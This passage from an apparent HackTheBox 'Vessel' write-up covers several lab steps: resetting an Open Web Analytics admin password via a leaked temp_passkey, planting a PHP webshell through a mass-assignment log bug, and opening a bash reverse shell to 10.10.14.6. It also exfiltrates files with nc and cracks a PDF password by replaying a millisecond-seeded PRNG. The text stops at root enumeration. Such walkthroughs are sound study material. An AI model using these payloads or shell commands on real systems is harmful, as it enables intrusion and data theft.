oxdf@hacky$ echo "Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjoxO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjg6InBhc3N3b3JkIjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO047czo1OiJ2YWx1ZSI7czo2MDoiJDJ5JDEwJGFxOVJqemhPMXNUbzBmZm5QU21HSC5aaW5SQzNMbzlLajg3cnRsaWR0UFFFY2NIMFprd09lIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjQ6InJvbGUiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjk6InJlYWxfbmFtZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTM6ImRlZmF1bHQgYWRtaW4iO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fXM6MTM6ImVtYWlsX2FkZHJlc3MiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjE2OiJhZG1pbkB2ZXNzZWwuaHRiIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjEyOiJ0ZW1wX3Bhc3NrZXkiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjMyOiI4MmYxMTUyYjRiM2RiNDI0MTM5YzIwMzBkMDQ3MjNiNCI7czo5OiJkYXRhX3R5cGUiO3M6MTI6IlZBUkNIQVIoMjU1KSI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxMzoiY3JlYXRpb25fZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxNjoibGFzdF91cGRhdGVfZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czo3OiJhcGlfa2V5IjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO3M6NzoiYXBpX2tleSI7czo1OiJ2YWx1ZSI7czozMjoiYTM5MGNjMDI0N2VjYWRhOWEyYjhkMjMzOGI5Y2E2ZDIiO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fX1zOjE2OiJfdGFibGVQcm9wZXJ0aWVzIjthOjQ6e3M6NToiYWxpYXMiO3M6NDoidXNlciI7czo0OiJuYW1lIjtzOjg6Im93YV91c2VyIjtzOjk6ImNhY2hlYWJsZSI7YjoxO3M6MjM6ImNhY2hlX2V4cGlyYXRpb25fcGVyaW9kIjtpOjYwNDgwMDt9czoxMjoid2FzUGVyc2lzdGVkIjtiOjE7czo1OiJjYWNoZSI7Tjt9" | base64 -d
O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$aq9RjzhO1sTo0ffnPSmGH.ZinRC3Lo9Kj87rtlidtPQEccH0ZkwOe";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"82f1152b4b3db424139c2030d04723b4";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}
In this item, I’ll find the admin user, with password hash and temp_passkey
:
Admin Login
The blog post says:
Though the temp_passkey can directly be used to set a new password for the user via the base.usersChangePassword action.
The source for this class includes the following action
function:
function action() {
// needed for old style embedded install migration
if ( $this->getParam('is_embedded') ) {
owa_coreAPI::setSetting('base', 'is_embedded', true);
}
$auth = owa_auth::get_instance();
$status = $auth->authenticateUserTempPasskey($this->params['k']);
// log to event queue
if ($status === true) {
$ed = owa_coreAPI::getEventDispatch();
$new_password = array('key' => $this->params['k'], 'password' => $this->params['password'], 'ip' => $_SERVER['REMOTE_ADDR'], 'user_id' => $auth->u->get('user_id'));
$ed->log($new_password, 'base.set_password');
$auth->deleteCredentials();
$this->setRedirectAction('base.loginForm');
$this->set('status_code', 3006);
} else {
$this->setRedirectAction('base.loginForm');
$this->set('error_code', 2011); // can't find key in the db
}
}
It’s using $this->params['k']
to authorized th user, and then using that result to get the username of what to change later. I’ll note that looking at other functions, I can see that something like owa_password
in the request is fetched by $this->params['password']
(the “owa_” is implied somewhere).
Knowing this, it looks like I need owa_password
, owa_password2
, owa_k
, and owa_action
for this request.
I’ll grab the HTTP request to login and take a look:
POST /index.php?owa_do=base.loginForm&owa_go=http%3A%2F%2Fopenwebanalytics.vessel.htb%2F& HTTP/1.1
Host: openwebanalytics.vessel.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://openwebanalytics.vessel.htb
Connection: close
Referer: http://openwebanalytics.vessel.htb/index.php?owa_do=base.loginForm&owa_go=http%3A%2F%2Fopenwebanalytics.vessel.htb%2F&
Upgrade-Insecure-Requests: 1
owa_user_id=admin&owa_password=asd&owa_go=http%3A%2F%2Fopenwebanalytics.vessel.htb%2F&owa_action=base.login&owa_submit_btn=Login
I’ll send that to Repeater and play around with it a bit. I don’t need the owa_go
and owa_submit_btn
parameters. I can also remove the parameters in the URL, and it still returns the same failed login message. I’ll change owa_action
to base.usersChangePassword
. On sending, there’s a new error:
That matches what I expect from above. I’ll update the parameters to match the source, and this time it send a redirect to the login:
If I load that URL, the owa_status_code
shows a message above the login:
And I’m able to log in:
RCE
Background
In the same blog post as above, the author shows how to get execution from admin access. It involves a mass assignment vulnerability in the configuration that allows me to set the logging level and log file to be a PHP file, and then get a webshell into that log and run it.
Generate Malicious Log File
Clicking on settings, there’s a bunch of options I can configure:
I’ll note the Event Log File Directory, as it gives the full path to the web directory:
Clicking the update button send this request:
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: openwebanalytics.vessel.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 748
Origin: http://openwebanalytics.vessel.htb
Connection: close
Referer: http://openwebanalytics.vessel.htb/index.php?owa_do=base.optionsGeneral
Cookie: owa_userSession=admin; owa_passwordSession=0bed4ee9fdbd77fa4406bec47a6fe8eb0cf1d9e412594e9cb0f15fcfb308baa2
Upgrade-Insecure-Requests: 1
owa_config%5Bbase.resolve_hosts%5D=1&owa_config%5Bbase.log_feedreaders%5D=1&owa_config%5Bbase.log_robots%5D=0&owa_config%5Bbase.log_named_users%5D=1&owa_config%5Bbase.excluded_ips%5D=&owa_config%5Bbase.anonymize_ips%5D=0&owa_config%5Bbase.fetch_refering_page_info%5D=1&owa_config%5Bbase.p3p_policy%5D=NOI+ADM+DEV+PSAi+COM+NAV+OUR+OTRo+STP+IND+DEM&owa_config%5Bbase.query_string_filters%5D=&owa_config%5Bbase.announce_visitors%5D=0&owa_config%5Bbase.notice_email%5D=&owa_config%5Bbase.geolocation_lookup%5D=1&owa_config%5Bbase.track_feed_links%5D=1&owa_config%5Bbase.async_log_dir%5D=%2Fvar%2Fwww%2Fhtml%2Fowa%2Fowa-data%2Flogs%2F&owa_config%5Bbase.timezone%5D=America%2FLos_Angeles&owa_nonce=7e9e9f4df7&owa_action=base.optionsUpdate&owa_module=base
Each item from the form is being submitted as a parameter here, and each in the format owa_config[<item>]
. The two items mentioned in the post (base.error_log_level
and base.error_log_file
) are not options in the form or that are sent here. A mass assignment vuln is where I can add them and they get changed anyway! By setting the error_log_level
to 2
, it will store all POST parameters in the log.
I’ll remove all of the owa_config[]
things, and add back in these two:
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: openwebanalytics.vessel.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
Origin: http://openwebanalytics.vessel.htb
Connection: close
Referer: http://openwebanalytics.vessel.htb/index.php?owa_do=base.optionsGeneral
Cookie: owa_userSession=admin; owa_passwordSession=0bed4ee9fdbd77fa4406bec47a6fe8eb0cf1d9e412594e9cb0f15fcfb308baa2
Upgrade-Insecure-Requests: 1
owa_config%5Bbase.error_log_level%5D=2&owa_config%5Bbase.error_log_file%5D=/var/www/html/owa/owa-data/logs/0xdf.php&&owa_nonce=7e9e9f4df7&owa_action=base.optionsUpdate&owa_module=base
After sending this, I can then read the log file:
Webshell
The goal is to get some PHP into this log file. I’ll send a change options POST again, but this time with a made up item:
POST /index.php?owa_do=base.optionsGeneral HTTP/1.1
Host: openwebanalytics.vessel.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://openwebanalytics.vessel.htb
Connection: close
Referer: http://openwebanalytics.vessel.htb/index.php?owa_do=base.optionsGeneral
Cookie: owa_userSession=admin; owa_passwordSession=0bed4ee9fdbd77fa4406bec47a6fe8eb0cf1d9e412594e9cb0f15fcfb308baa2
Upgrade-Insecure-Requests: 1
owa_config%5Bbase.0xdf%5D=<%3fphp+system($_REQUEST['cmd'])%3b+%3f>&&owa_nonce=7e9e9f4df7&owa_action=base.optionsUpdate&owa_module=base
This will write the data (which is a webshell) into the log file. On accessing it with ?cmd=id
added to the end of the URL, it executes:
Shell
To get a shell via this webshell, I’ll visit http://openwebanalytics.vessel.htb/owa-data/logs/0xdf.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.6/443%200%3E%261%27
. This is a simple bash reverse shell, and connects back to a listening nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.178 41224
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@vessel:/var/www/html/owa/owa-data/logs$
I’ll do a shell upgrade with script
and stty
:
www-data@vessel:/var/www/html/owa/owa-data/logs$ script /dev/null -c bash
Script started, file is /dev/null
www-data@vessel:/var/www/html/owa/owa-data/logs$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@vessel:/var/www/html/owa/owa-data/logs$
Shell as ethan
Enumeration
Home Dirs
There are two users on this box with home directories:
www-data@vessel:/home$ ls -l
total 8
drwx------ 5 ethan ethan 4096 Aug 11 2022 ethan
drwxrwxr-x 3 steven steven 4096 Aug 11 2022 steven
www-data can’t access ethan, but can see in steven’s:
www-data@vessel:/home/steven$ ls -la
total 33796
drwxrwxr-x 3 steven steven 4096 Aug 11 2022 .
drwxr-xr-x 4 root root 4096 Aug 11 2022 ..
lrwxrwxrwx 1 root root 9 Apr 18 2022 .bash_history -> /dev/null
-rw------- 1 steven steven 220 Apr 17 2022 .bash_logout
-rw------- 1 steven steven 3771 Apr 17 2022 .bashrc
drwxr-xr-x 2 ethan steven 4096 Aug 11 2022 .notes
-rw------- 1 steven steven 807 Apr 17 2022 .profile
-rw-r--r-- 1 ethan steven 34578147 May 4 2022 passwordGenerator
passwordGenerator
is a Windows exe:
www-data@vessel:/home/steven$ file passwordGenerator
passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows
.notes
is a hidden directory with two files in it:
www-data@vessel:/home/steven$ ls -l .notes/
total 40
-rw-r--r-- 1 ethan steven 17567 Aug 10 2022 notes.pdf
-rw-r--r-- 1 ethan steven 11864 May 2 2022 screenshot.png
File Analysis
I’ll exfil all three files back to my machine with nc -lnvp 444 > notes.pdf
, first starting a listener on my host, then sending the file into nc
on Vessel:
www-data@vessel:/home/steven$ cat .notes/notes.pdf | nc 10.10.14.6 444
After a few seconds, hit Ctrl-c and then check the hashes to make sure it transferred completely without corruption:
www-data@vessel:/home/steven$ md5sum .notes/notes.pdf
d66c5ed1614aec0896605f65667826fd .notes/notes.pdf
oxdf@hacky$ md5sum notes.pdf
d66c5ed1614aec0896605f65667826fd notes.pdf
I’ll do the same for the other files.
screenshot.png
is an image of the Secure Password Generator program:
The PDF is password protexted:
passwordGenerator
Recover Python
Running strings
on the file returns all sorts of hints that this is a Python executable:
oxdf@hacky$ strings -n 10 passwordGenerator
...[snip]...
Py_FileSystemDefaultEncoding
Failed to get address for Py_FileSystemDefaultEncoding
Py_FrozenFlag
Failed to get address for Py_FrozenFlag
...[snip]...
PyInstaller: FormatMessageW failed.
PyInstaller: pyi_win32_utils_to_utf8 failed.
...[snip]...
3python37.dll
To get Python-like source from a PyIntaller exe, I’ll use pyinstxtractor:
oxdf@hacky$ python /opt/pyinstxtractor/pyinstxtractor.py passwordGenerator
[+] Processing passwordGenerator
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: passwordGenerator
You can now use a python decompiler on the pyc files within the extracted directory
I’ll note that the Python version of the exe is 3.7. To get a full picture, I’ll re-run it with Pyhton3.7:
oxdf@hacky$ python3.7 /opt/pyinstxtractor/pyinstxtractor.py passwordGenerator
[+] Processing passwordGenerator
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[+] Found 142 files in PYZ archive
[+] Successfully extracted pyinstaller archive: passwordGenerator
You can now use a python decompiler on the pyc files within the extracted directory
This generates a bunch of DLLs and compiled Python byte code:
oxdf@hacky$ ls passwordGenerator_extracted/
base_library.zip _lzma.pyd pyimod03_importers.pyc python3.dll Qt5QmlModels.dll _socket.pyd
_bz2.pyd MSVCP140_1.dll pyimod04_ctypes.pyc PYZ-00.pyz Qt5Quick.dll _ssl.pyd
_ctypes.pyd MSVCP140.dll pyi_rth_inspect.pyc PYZ-00.pyz_extracted Qt5Svg.dll struct.pyc
d3dcompiler_47.dll opengl32sw.dll pyi_rth_pkgutil.pyc Qt5Core.dll Qt5VirtualKeyboard.dll unicodedata.pyd
_hashlib.pyd passwordGenerator.pyc pyi_rth_pyside2.pyc Qt5DBus.dll Qt5WebSockets.dll VCRUNTIME140.dll
libcrypto-1_1.dll pyexpat.pyd pyi_rth_subprocess.pyc Qt5Gui.dll Qt5Widgets.dll
libEGL.dll pyiboot01_bootstrap.pyc PySide2 Qt5Network.dll select.pyd
libGLESv2.dll pyimod01_os_path.pyc pyside2.abi3.dll Qt5Pdf.dll shiboken2
libssl-1_1.dll pyimod02_archive.pyc python37.dll Qt5Qml.dll shiboken2.abi3.dll
passwordGenerator.pyc
is the main program.
I’ll use uncomplye6
to get back the Python source. I want to run it with the same version as the original, so I’ll create a virtual environment, activate it, and install uncompyle6
:
oxdf@hacky$ python3.7 -m venv venv
oxdf@hacky$ source venv/bin/activate
(venv) oxdf@hacky$ pip install --upgrade pip uncompyle6
Requirement already satisfied: pip in ./venv/lib/python3.7/site-packages (22.0.4)
Collecting pip
Using cached pip-23.0.1-py3-none-any.whl (2.1 MB)
Collecting uncompyle6
Using cached uncompyle6-3.9.0-py37-none-any.whl (381 kB)
...[snip]...
Successfully installed click-8.1.3 importlib-metadata-6.1.0 pip-23.0.1 six-1.16.0 spark-parser-1.8.9 typing-extensions-4.5.0 uncompyle6-3.9.0 xdis-6.0.5 zipp-3.15.0
Running from the virtual env, I’ll dump the source:
(venv) oxdf@hacky$ uncompyle6 passwordGenerator_extracted/passwordGenerator.pyc > passwordGenerator.py
Source Analysis
The application is using the PySide framework to create Python GUI programs:
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip
There’s a bunch of stuff setting up the window, but the interesting function is genPassword
:
def genPassword(self):
length = value
char = index
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
else:
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
except:
msg = QMessageBox()
msg.setWindowTitle('Error')
msg.setText('Error while generating password!, Send a message to the Author!')
x = msg.exec_()
return password
Crack Password
Attack - Fail
The issue with the code above is that it it is seeding the pseudo-random number generator with a timestamp calling .msec()
. This function returns a number between 0 and 999, representing the millisecond part of the time. This means there are only 1000 possible seeds for the pseudo-random number generator and thus only 1000 possible passwords. The image also shows a password of length 32, and that all possible characters are involved (char == 0
above).
Knowing that, I can write a simple Python script to generate all 1000 passwords:
from PySide2.QtCore import qsrand, qrand
def genPassword(ms: int) -> str:
length = 32
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
qsrand(ms)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
return password
passwords = [genPassword(i) for i in range(1000)]
with open('generated.txt', 'w') as f:
f.write('\n'.join(passwords))
When I run this, I get a file of passwords. I’ll try passing this wordlist to pdfcrack
(apt install pdfcrack
), but it fails to find a password:
(venv) oxdf@hacky$ pdfcrack -f notes.pdf -w generated.txt
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
Could not find password
Success From Windows
It turns out that the libraries used by Python for QT are different on Linux than they are on Windows, so running this on a Windows machine generates a different list of passwords. If I generate the passwords there, and then try pdfcrack
, it finds the password:
(venv) oxdf@hacky$ pdfcrack -f notes.pdf -w generated.txt
PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -1028
Length: 128
Encrypted Metadata: True
FileID: c19b3bb1183870f00d63a766a1f80e68
U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000
O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86
found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'
su / SSH
Opening the PDF with that password gives a short note from ethan to steven:
Using that password with su
provides a shell as ethan:
www-data@vessel:/home/steven$ su - ethan
Password:
ethan@vessel:~$
And the user flag:
ethan@vessel:~$ cat user.txt
f0402f4f************************
This password also works for SSH:
oxdf@hacky$ sshpass -p 'b@mPRNSVTjjLKId1T' ssh ethan@vessel.htb
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-124-generic x86_64)
...[snip]...
ethan@vessel:~$
Shell as root
Enumeration
There’s very little to find on this box as ethan that I haven’t already messed with. ethan isn’t in an especial groups. I’ll look for files owned by the user or group ethan, as those are things I couldn’t access as www-data:
ethan@vessel:~$ find / -user ethan 2>/dev/null | grep -Ev '^/(run|sys|proc|home)'
/tmp/tmux-1000
/dev/pts/2
/dev/pts/0
ethan@vessel:~$ find / -group ethan 2>/dev/null | grep -Ev '^/(run|sys|proc|home)'
/usr/bin/pinns
/tmp/tmux-1000
/tmp/tmux-1000
could be interesting, but it’s just an empty directory.
/usr/bin/pinns
is interesting:
